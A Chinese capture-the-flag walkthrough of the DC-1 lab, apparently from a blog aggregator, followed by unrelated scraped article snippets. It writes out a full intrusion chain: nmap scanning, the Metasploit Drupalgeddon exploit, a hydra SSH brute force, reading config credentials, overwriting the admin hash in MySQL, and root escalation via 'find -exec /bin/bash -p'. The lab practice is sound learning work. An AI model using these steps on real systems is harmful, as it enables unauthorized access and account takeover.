打靶练习:DC-1

2023-11-10

主机发现和nmap信息收集

//主机发现
(kali㉿kali)-[~]
└─$ sudo arp-scan -l			//查找到主机地址为192.168.226.130

//端口扫描
┌──(kali㉿kali)-[~]
└─$ sudo nmap -A 192.168.226.130		//扫描端口后发现22,80,111端口开放,22端口是SSH端口,很明显80端口是我们的主要攻击面,想办法从80端口获取SSH账户名和密码

web信息收集

访问web页面,发现需要账户名和密码,目前不知道账户名密码,可以看到该网页是一个通用模板,经过Wappalyzer工具扫描发现该页面有Drupal,它是一个php管理系统,也是是开源CMS的内容管理系统,也就是说,它必然在数据库中存放了某些重要信息,这是我们的突破点。

在这里插入图片描述

漏洞扫描

//运行msf工具(msf就是一个漏洞框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击)
─(kali㉿kali)-[~]
└─$ sudo service postgresql start		//启动postgresql数据库(PostgreSQL 是一个免费的对象-关系数据库服务器(ORDBMS))
┌──(kali㉿kali)-[~]
└─$ msfdb init				//初始化数据库(在kali中metasploit默认使用postgresql作为它的数据库)
┌──(kali㉿kali)-[~]
└─$ msfconsole 				//运行msfconsole

//漏洞利用
msf6 > search Drupal		//在msf中查找Drupal模板网页可用的工具

扫描发现的8个工具:

在这里插入图片描述

//漏洞攻击
msf6 > use 2		//使用第二个工具
msf6 exploit(multi/http/drupal_drupageddon) > show missing				//查看工具使用必须的信息

查看结果提示需要设置RHOSTS,设置RHOSTS即设置靶机的IP地址

在这里插入图片描述

msf6 exploit(multi/http/drupal_drupageddon) > sudo set RHOSTS 192.168.226.130		//设置RHOSTS
msf6 exploit(multi/http/drupal_drupageddon) > show options						//查看配置好的信息
msf6 exploit(multi/http/drupal_drupageddon) > run	//确认无误后开始攻击
meterpreter > ls		//攻击结束后查看信息

成功发现flag1.txt

在这里插入图片描述

meterpreter > cat flag1.txt		//查看flag1,提示我们Every good CMS needs a config file - and so do you.需要找配置文件
meterpreter > cat /etc/passwd	//查看配置文件中的passwd,发现flag4,flag4中可能有用户的账户密码,进行爆破

找到flag4,发现他在家目录下,说明他是一个用户文件,flag4是用户名:

在这里插入图片描述

密码爆破

┌──(kali㉿kali)-[/]
└─$ hydra -l flag4 -P /usr/share/john/password.lst 192.168.226.130 ssh					//对靶机进行密码爆破,指定用户flag4,指定字典为John的默认字典password.lst,指定协议为ssh

爆破成功,获得flag4用户的密码:

在这里插入图片描述

获得系统立足点

┌──(kali㉿kali)-[/]
└─$ sudo ssh flag4@192.168.226.130				//ssh登录flag4用户
flag4aDC-1:~$ ls							//查看目录发现flag4.txt文件
flag4aDC-1:~$cat flag4.txt					//查看flag4后发现里面的信息提示我们提权,暂时没有提权手段,先按flag1的信息查找配置文件

//互联网搜索发现配置文件默认路径为Sites/default/settings.php寻找Drupal的配置文件
flag4@DC-1:~$ cd /
flag4@DC-1:/$ cd var/www
flag4@DC-1:/var/www$ ls
flag4@DC-1:/var/www$ cd sites/default
flag4@DC-1:/var/www/sites/default$ ls
flag4@DC-1:/var/www/sites/default$ cat settings.php				//查看配置文件

在配置文件中找到flag2,以及数据库的账号和密码

在这里插入图片描述

MySQL渗透

flag4@DC-1:/var/www/sites/default$ mysql -u dbuser -p 			//登录数据库,-p连接数据库,输入账号密码后登录
mysql> show database;				//查看数据库,发现drupaldb数据库
mysql> use drupaldb;					//进入数据库
mysql> show tables;						//查看表
mysql> select * from users;				//查看表结构

发现admin用户和一串hash值,在百度上搜索了drupal密码重置方法,发现drupal默认使用password_hash.sh生成密码。因此我们在目录下查找该文件,想办法替换这段hash,并重新设置一个密码,于是我们需要寻找存放密码hash值的bash文件

在这里插入图片描述

//寻找存放密码hash的bash文件
flag4@DC-1:/var/www/sites/default$ find / -name password*			//从主目录查找文件名中包含password的文件

成功发现:

在这里插入图片描述

flag4@DC-1:/var/www/sites/default$ cat ./scripts/password-hash.sh		//尝试查看文件内容

该文件最后一段提示我们修改密码并获取新hash值的方法

在这里插入图片描述

flag4@DC-1:/var/www/sites/default$ php ./scripts/password-hash.sh 123456	//生成一个密码为123456的新hash值
flag4@DC-1:/var/www$ mysql -u dbuser -p				//重新登录数据库
mysql> show databases;
mysql> use drupaldb;				//进入drupaldb数据库
mysql> show tables;							//查看表
mysql> update users set pass='$S$Dh.V1XOfMnNSh6Vx6JIePg9kG7rww8tKTnmpUGistIiMFRQletBA';		//替换users表中的hash值

web渗透

用修改后的密码登录web网页

在这里插入图片描述

登录后点击bashboard,发现flag3,至此,flag1,2,3,4全部发现

在这里插入图片描述

flag3提示我们需要用 -exec进行提权,在passwd中寻找信息,由于前面已经查找过passwd并发现了flag4,在此不再进行查找,尝试用-exec对flag4进行提权

在这里插入图片描述

用户提权

mysql> quit			//退出数据库
flag4@DC-1:/$ find -name flag4.txt -exec /bin/bash -p \;	//用户提权,-exec表示在查询结束后执行它后面的命令,;表示调用C语言,没有该字符不能使用exec命令,\;表示将;当做普通字符处理,这是为了防止系统误认
bash-4.2# umane -a				//查看用户是否为root
bash-4.2# cd root				//提权已成功,进入root目录			
bash-4.2# ls
bash-4.2# cat thefinalflag.txt		//查看root目录文件的内容

发现一段提示我们打靶成功的内容

在这里插入图片描述

总结

先进行主机发现,找到主机IP,然后进行nmap扫描发现22,80,111,端口开放,显然,80端口是我们的主要攻击面,打开web网页用工具扫描后发现Drupal,它是一个CMS管理系统,也就是说,它是一个数据库,接下来,将它作为突破口,启动msf工具扫描Drupal的漏洞,发现8个漏洞,实际只有第二个能利用。对第二个漏洞进行攻击后,发现flag1,flag1提示我们要找配置文件

接下来,我们在系统配置文件中找到flag4,他在家目录下,说明他是一个用户,那么他应该可以通过ssh登录22端口,于是用hydra使用John的默认密码字典对flag4进行爆破,得到它的密码,由此登录flag4用户获得系统立足点

在获得系统立足点后,在flag4用户下找到并查看flag4.txt文件,发现他提示我们提权,因为暂时没有提权手段,继续按照flag1的提示寻找Drupal的配置文件,查看Druopal的配置文件settings.php,发现flag2和MySQL的账号密码,他提示我们密码爆破是唯一的手段,由于我们已经爆破成功,暂且不管他。

登录MySQL,找到Drupal数据库,查看user表结构,发现admin用户和一串hash值,由于drupal默认使用password_hash.sh生成密码,查找该文件,生成一个新密码hash,登录数据库替换admin用户的hash,这样就获得了一个新密码。

用密码登录web网页,找到了flag3,flag3提示我们在passwd中寻找信息,并用 -exec进行提权。passwd中的flag4已经找到,用命令find -name flag4.txt -exec /bin/bash -p ;进行提权,提权成功!

进入root目录,查看thefinalflag.txt的内容,该文件提示我们打靶完成。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

打靶练习:DC-1 的相关文章

  • 无法在 Perl 中找到 DBI.pm 模块

    我使用的是 CentOS 并且已经安装了 Perl 5 20 并且默认情况下存在 Perl 5 10 我正在使用 Perl 5 20 版本来执行 Perl 代码 我尝试使用 DBI 模块并收到此错误 root localhost perl
  • PHP 读取使用 setcookie() 创建的 cookie

    来自manual https www php net setcookie 直到下一次加载 Cookie 应该可见的页面之前 Cookie 才会变得可见 这意味着创建的 cookiesetcookie将无法访问 COOKIE直到下一页加载 有
  • 用 PHP 截断文件末尾

    我有一个日志文件 我想在 PHP 读取该文件后将其截断 我的代码目前如下所示 fp fopen file r ftruncate fp 125000 fclose fp 但是 这会通过保留first1MB 不过 我想保留last1Mb 的文
  • CakePHP Auth 组件使用 $this->Auth->login() 时未登录;

    我是 cakePHP 的新手 我已经阅读了他们的文档 并且正在遵循他们的简单身份验证示例 我还广泛搜索 包括本网站上的答案 来寻找我的问题的答案 我正在使用 cakePHP 2 0 我的 UsersController 的登录功能如下所示
  • Python 脚本作为 Linux 服务/守护进程

    Hallo 我试图让 python 脚本作为服务 守护进程 在 ubuntu linux 上运行 网络上存在多种解决方案 例如 http pypi python org pypi python daemon http pypi python
  • 使用 plistBuddy 获取值数组

    var keychain access groups declare a val usr libexec PlistBuddy c Print var sample plist echo val echo val 0 Ouput Array
  • 如何在 GNU/Linux 上设置 Subversion (SVN) 服务器 - Ubuntu [关闭]

    Closed 这个问题需要多问focused help closed questions 目前不接受答案 我有一台运行 Ubuntu 的笔记本电脑 我想将其用作 Subversion 服务器 既让我自己在本地承诺 也让其他人远程承诺 要使其
  • 在另一个文件中扩展类的正确方法是什么?

    这就是我在 foo php 中的内容 class Foo public foo NULL public foo2 NULL public function setFoo foo foo2 this gt foo foo this gt fo
  • 后台分叉无法正常工作[重复]

    这个问题在这里已经有答案了 我运行这个程序 在前景和背景中 int main int pid printf App Start pid d n getpid while 1 pid fork if pid 0 printf Child n
  • 在 mysqli 准备好的语句程序风格中获取最后插入的 id 的正确方法是什么?

    我正在使用 mysqli 准备好的语句在表中插入记录 如下所示 link mysqli connect localhost my user my password world check connection if link printf
  • php隐藏所有错误[重复]

    这个问题在这里已经有答案了 隐藏的最佳做法是什么allPHP 错误 因为我不想向用户显示错误 我尝试过使用 htacess通过输入代码php flag display errors off在那里 但它返回给我一个500 error 还有其他
  • 如何从 PROC 获取有关子进程的信息

    我正在尝试编写一个以几个进程作为参数的程序 然后父进程执行每个子进程并打印出一些相关的统计信息 示例 generate ls l 将生成一个程序 打印出有关 ls l 的一些统计信息 特别是其系统时间 用户时间和上下文切换次数 我不想使用
  • localhost/live - 通过 HTTP_HOST 检测

    假设我在本地开发并在实时服务器上调试小东西 在我的代码中添加这样的内容是个好主意吗 is local strpos SERVER HTTP HOST localhost false define DEBUG is local 然后在设置内容
  • 错误 #520009 - 帐户受到限制

    我收到 520009 错误 帐户 电子邮件受保护 cdn cgi l email protection被限制 当尝试进行并行付款时 我的代码使用沙箱运行良好 但我切换到实时端点 它开始失败 有问题的帐户是有效的 PayPal 帐户 我使用的
  • 让 TeXstudio 在 linux mint 中工作:找不到文件“url.sty”。

    刚刚切换到 Linux Mint 以前的顽固 Windows 用户 我在尝试安装 TeXstudio 时遇到一些问题 Sudo apt get install texstudio 给了我一个正确的安装 至少 我是这么认为的 但是当我尝试构建
  • 2 使用我的代码在数组中查询

    我使用滑块来显示我的 WordPress 精选文章 它选择一个自定义类别并返回一定数量的帖子 如何将显示的第一篇帖子设为自定义帖子 我可以直接在滑块代码中添加特定帖子的 ID吗使该帖子首先出现 然后是原始查询返回的其他内容 例如 在页面上
  • 使用 Xpath 进行部分匹配

    我正在尝试创建一个搜索功能 允许使用 Xpath 按歌曲标题或流派进行部分匹配 这是我的 XML 文件
  • 我如何向 Windows Server IIS 7 中的文件夹授予权限

    我是 PHP 和 Windows Server 新手 在查看我在 PHP 中创建的表单时遇到以下错误 Error in exception handler The stream or file C inetpub wwwroot wrp a
  • Google Drive 服务帐户上传的位置

    我正在尝试使用服务帐户将文件上传到我的 Google 云端硬盘 当我部署此代码时 我不希望用户给予授权 我希望他们上传到我的帐户 我通过 PHP 使用它 下面是我到目前为止的情况 这段代码是基于官方文档给出的例子 当我运行 php 脚本时
  • 嵌入式linux编写AT命令

    我在向 GSM 模块写入 AT 命令时遇到问题 当我使用 minicom b 115200 D dev ttySP0 term vt100 时它工作完美 但我不知道如何在 C 代码中做同样的事情 我没有收到任何错误 但模块对命令没有反应 有

随机推荐

  • NSGAIII求极值点、超平面方程和截点的方法(用于标准化)

    NSGAIII求极值点 超平面方程和截点的方法 用于标准化 1 标准化的目的 由于测试问题不同目标的量纲或者范围不同 若直接进行运算 则量纲大的值会覆盖掉小的值 因此需要进行标准化 2 极值点 extreme point 在一些文章中 提到
  • 结构体内重载小于号< 及构造函数

    struct Node int d e bool operator lt const Node x const return x d lt d Node int d int e d d e e
  • Zookeeper集群节点数量为什么要是奇数个?

    无论是公司的生产环境 还是自己搭建的测试环境 Zookeeper集群的节点个数都是奇数个 至于为什么要是奇数个 以前只是模糊的知道是为了满足选举需要 并不知道详细的原因 最近重点学习zookeeper 了解到其中的原理 现将其整理记录下来
  • Kafka为何要设计缓冲池机制?初看一脸懵逼,看懂直接跪下!

    V xin ruyuanhadeng获得600 页原创精品文章汇总PDF 目录 1 Kafka的客户端缓冲机制 2 内存缓冲造成的频繁GC问题 3 Kafka设计者实现的缓冲池机制 4 总结一下 这篇文章 同样给大家聊一个硬核的技术知识 我
  • 疑难杂症之malloc死锁__lll_lock_wait_private

    查看glibc源码可知 malloc内部是有锁的 那说明malloc是一个线程安全型函数 但是它不是一个可重入函数 重入的意思是 比如当前线程正在做malloc 如果此时因为某种原因触发了信号 那么操作系统会保存好现场 正在执行的mallo
  • 网维无盘服务器错误代码,因客户机网关地址写错导致无盘客户机开机获取到dhcp后卡在tftp前无法启动...

    问题现象 客户机启动后获取DHCP界面卡住 DHCP信息中缺少网关 如下图 原因说明 无盘服务端设置的网关地址错误 解决方案 修改为正确的网关地址 问题分析 1 按照过去的经验 出现这种问题一般都是arp绑定错误导致 或者tftp69端口占
  • 医学知识-FFR(冠状动脉血流储备分数)

    什么是FFR 冠状动脉血流储备分数 FFR 作为一项创功能学评价指标 对冠心病的治疗策略具有重要指导意义 前期研究证实FFR指导介入治疗策略不仅安全 经济 并能改善患者的预后 冠状动脉造影及血管内超声均被认为是诊断冠心病的 金标准 但它们只
  • 拥抱开放|OpenPie引领PostgreSQL中国代码贡献力

    OpenPie拥抱开放 和PostgreSQL社区互为兄弟社区 PostgreSQL作为世界上最受欢迎的开源数据库之一 起源于加利福尼亚大学伯克利分校 其卓越的性能倍受广大数据库用户的赞誉 OpenPie一直活跃于PostgreSQL社区
  • pytorch LayerNorm参数详解,计算过程

    目录 说明 LayerNorm参数 normalized shape eps elementwise affine LayerNorm前向传播 以normalized shape为一个int举例 总结 说明 LayerNorm中不会像Bat
  • npm的.npmrc文件在哪里?缓存及全局包文件在什么位置?

    npm的 npmrc文件在哪里 缓存及全局包文件在什么位置 npm作为node开发过程中的必备工具 长期使用之后 您可能会想 这些全局安装的node包都放在硬盘里面的哪个地方 配置文件 npmrc文件在哪里 node包的缓存位置在哪里 本文
  • Ubuntu和windows系统下安装odoo15 企业版终于安装成功了附带安装方法

    方法和社区版一样 用官方方法 轻松简单 界面清爽多了 比社区版 和14的企业版 比起来 效率高了很多 很多细节上的改变 网站模板多了 还有多了视频会议功能 安装方法 先安装数据库 sudo apt install postgresql y
  • Windows------openvino 2022.1安装步骤

    openvino安装 1 下载安装包 官网链接 https www intel com content www us en developer tools openvino toolkit download html 点击download
  • C#泛型方法的定义及使用

    在 C 语言中泛型方法是指通过泛型来约束方法中的参数类型 也可以理解为对数据类型设置了参数 如果没有泛型 每次方法中的参数类型都是固定的 不能随意更改 在使用泛型后 方法中的数据类型则有指定的泛型来约束 即可以根据提供的泛型来传递不同类型的
  • [疯狂Java]AWT:菜单栏、菜单、菜单项、菜单事件处理

    1 菜单栏 菜单 菜单项之间的关系 1 菜单栏 MenuBar 就是窗口中常见的顶层菜单栏 包含文件 编辑 格式等等子菜单的菜单条 即包含菜单的容器 2 菜单 Menu 是必定包含菜单项或者菜单 嵌套包含菜单 也叫子菜单 的容器 3 菜单项
  • python爬虫入门案例(爬取lol所有英雄名称及技能)

    滴滴滴 这几天忙着增强自己的实力 发现了一个非常适合新手的案例 案例就是爬取英雄联盟的所有英雄名称和技能 废话不多说 我们来分析分析 要练手的链接 进入此网站我们会发现 网页上的响应数据里面并没有我们想要的数据 由此我们可以猜测 该响应的数
  • onvif协议常见错误总结

    1 返回28 TCP ERROR或者error 28 SOAP ENV Receiver No route to h 可能存在的原因 原因可能是账号密码错误 或者设备不在线的原因 导致TCP连接超时 或者onvif的地址写错导致的 我当时是
  • 使用easy excel进行简单的excel表格导入导出

    1 创建项目 导入easy excel的依赖
  • 腾讯云DDoS攻击防护指南

    1 什么是DDoS攻击 DDoS是目前成本较低的一种攻击方式之一 攻击者通过控制大量肉鸡 被黑客入侵控制的终端 同时向目标站点发起访问 目标站点被大量涌入的访问会话占满性能 而无法接收实际正常用户的访问请求 形成 拒绝服务 攻击 2 腾讯云
  • 基于遗传算法二维下料问题/矩形件排样/matlab程序

    基于遗传算法的二维板材切割下料优化问题 matlab程序 关键词 遗传算法 二维板材切割 matlab 引言 二维板材切割问题在实际的工程中有很多的应用 该问题基本等同于矩形件优化排样 具体是指将若干尺寸不相同的矩形零件在给定的矩形板材上以
  • 打靶练习:DC-1

    文章目录 主机发现和nmap信息收集 web信息收集 漏洞扫描 密码爆破 获得系统立足点 MySQL渗透 web渗透 用户提权 总结 主机发现和nmap信息收集 主机发现 kali kali sudo arp scan l 查找到主机地址为